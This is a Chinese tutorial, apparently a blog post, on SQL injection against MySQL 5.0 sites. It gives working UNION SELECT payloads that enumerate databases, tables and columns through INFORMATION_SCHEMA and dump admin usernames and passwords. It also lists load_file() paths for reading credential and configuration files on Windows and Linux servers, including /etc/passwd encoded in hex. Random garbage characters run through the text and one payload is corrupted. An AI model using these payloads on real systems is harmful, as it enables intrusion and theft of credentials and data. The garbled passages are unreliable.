mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。



Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
. C/ R; s0 I2 N$ {存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称

$ Y7 J% t- |/ l  k* S0 }! x|TABLES ->存储表名
8 P5 z* H! ?$ W|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
, J, z5 e# h/ L  u- {+ B|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

|—字段：COLUMN_NAME ->该字段的名称
/ x2 f" t+ x9 L7 W6 P
) M) v1 {2 Q( [- w#########################################################################
3 |8 k+ n2 Y4 M& Q5 e# ?' G##
2 O+ E2 Q) P( q9 J0 Z: K1 x5 H4 t6 U
7 O, D7 P9 n4 V) g: j: ]) I9 \0×001 获取系统信息:
3 _, z3 @# F: r6 w6 I& }# k8 P
0 a; `# |+ t: {% `( |union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
8 F0 }% Q8 R* ?6 `5 x$ `2 T. [# H& J(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

  e* }0 C% |: }/*

@@global.version_compile_os 获取系统版本

" G; H- ?0 K/ f  s@@datadir 数据库路径
3 c7 |$ S$ t5 @2 `database() 当前数据库名称
0x3c62723e 换行HEX值
. N. r- r( p+ H0 Z) A8 J
# c- o- ~5 e. }! W& q8 j) |1 v*/

######################################################################
# \# o: C, P  W1 c  u# R1 o: J
6 O% U" K) r, x3 ]; ^0×002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
$ i6 X0 v" k3 B8 N* f% K2 P
/*
; f* c" p  ]% y! y6 C
' d; g  L' Y! y, b8 N" ~& ]# L0x67617264656e 为当前数据库名

0 R2 C1 t: ?$ v/ bgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

: _+ n& P% [0 n& ]*/
4 b  p( ?9 n" k
/ I0 \& v! \9 o& B######################################################################
/ S: I! H9 ^9 c: A  K
, e& s8 w& s2 X& B5 a" h; X0×003 获取字段

: m' m" q( h- T0 O" ounion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
* b8 w6 d/ A& J/ Hinformation_schema.columns where table_name=0x61646d696e and
! _# E% [+ k% L5 D+ c4 J7 q; r
  h( v5 C3 l& k. B: n3 H
7 S. f/ P8 N5 e8 {- X7 X: o& D! {table_schema=0x67617264656e limit 1 /*
( a0 Z2 T* v) R! F; N+ ]" {! ]
5 R5 q# z+ b1 [( _2 S/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表
. M2 [' s' f0 S2 J8 h8 H
2 F) S' R& x7 a* z- q# t9 M) D0x67617264656e ->数据库名

, N  P# n; |& A4 ?% V*/
4 _4 S/ ~# U; C1 x( j5 p& _$ K
4 S' U* ]- g! G8 ~" h#####################################################################
3 D: K: I% g3 v( r) a( p$ ?' W
( v& ~' z. w8 K; o2 \4 \; ~1 l4 ~0×004 获取数据

& [* r4 D* |5 `3 t0 ~  }; ^' punion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
  h! V& ~, R: k8 B& \+ d; y
/*

0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据

*/



* R# |+ _4 V& b

顺便添加一些mysql注入时非常有用的一些东西
6 P; S! z# i; m3 o# e+ X; D
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

1 c  s7 n) n8 V' m+ s0 F# B# }1:system_user() 系统用户名
/ _3 w- M9 ~7 \4 s, x7 }2:user()        用户名
3:current_user()  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
, f( }4 D7 J! A: A6:version()     MYSQL数据库版本
, s. q- d$ _9 I7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
# T! [, _% T5 M5 s9@basedir    MYSQL 安装路径
( }: T& e! w8 e3 Z( E: V10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
WINDOWS下:
7 ]: Q7 x# ?8 N; X8 ^3 B+ A. jc:/boot.ini          //查看系统版本
) H: \# {! w0 P6 {1 E" w) i: a) uc:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
7 X" T# I4 X' L& wc:/winnt/php.ini
c:/winnt/my.ini
  a, T& W+ z+ N2 {5 u2 Cc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
0 h+ a( ]1 y4 x8 J- Jc:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
6 c# p* ?2 t, z) \/ Qc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
0 ~* v9 \8 {1 BC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
9 E3 S7 j7 G/ n$ \c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
! S# v7 C& |3 j8 ]+ u
+ ]1 F( A* g/ C+ ~( L. z; l7 I( C
c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
$ q( l! O% j; J: h1 }d:\APACHE\Apache2\conf\httpd.conf
$ w3 x" ~. a2 k: l2 b: eC:\Program Files\mysql\my.ini
% T# p0 C! b' N& }. U) m& C9 jc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
$ N2 N1 z) O4 U' f' m
% G+ `% ]3 C0 uLUNIX/UNIX下:
3 Y5 z/ H; ~7 Z3 c. {' j% F/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
. Z  b  I  A1 K3 I  c. O/usr/local/apache2/conf/httpd.conf
: i% W- F. Z7 Z  \4 w/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
4 j" M: n6 N6 u/etc/sysconfig/iptables //从中得到防火墙规则策略
, Z+ X, O. `) J% T% r) c2 z/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
- |# {; s9 h* o/ c' d/etc/redhat-release //系统版本
6 K' K$ f: K; O8 Y- n/etc/issue
( L; V$ }; W" @' j4 w  {1 }+ s/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
( r( F4 @2 G3 r, ^/ I" ^/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
3 L! Q- H' a9 o& O0 x/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
8 Y* E. O. [% F4 W6 D# Q/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
, ^8 L- X0 Q0 t- l' m' m/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
; f" [  Y3 K' M: g5 M$ y8 y/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
2 E* P2 @) ?$ s  V! B, Z- X/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
8 J! k: o0 B2 G上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
% I  F) l! t1 B' [' a( u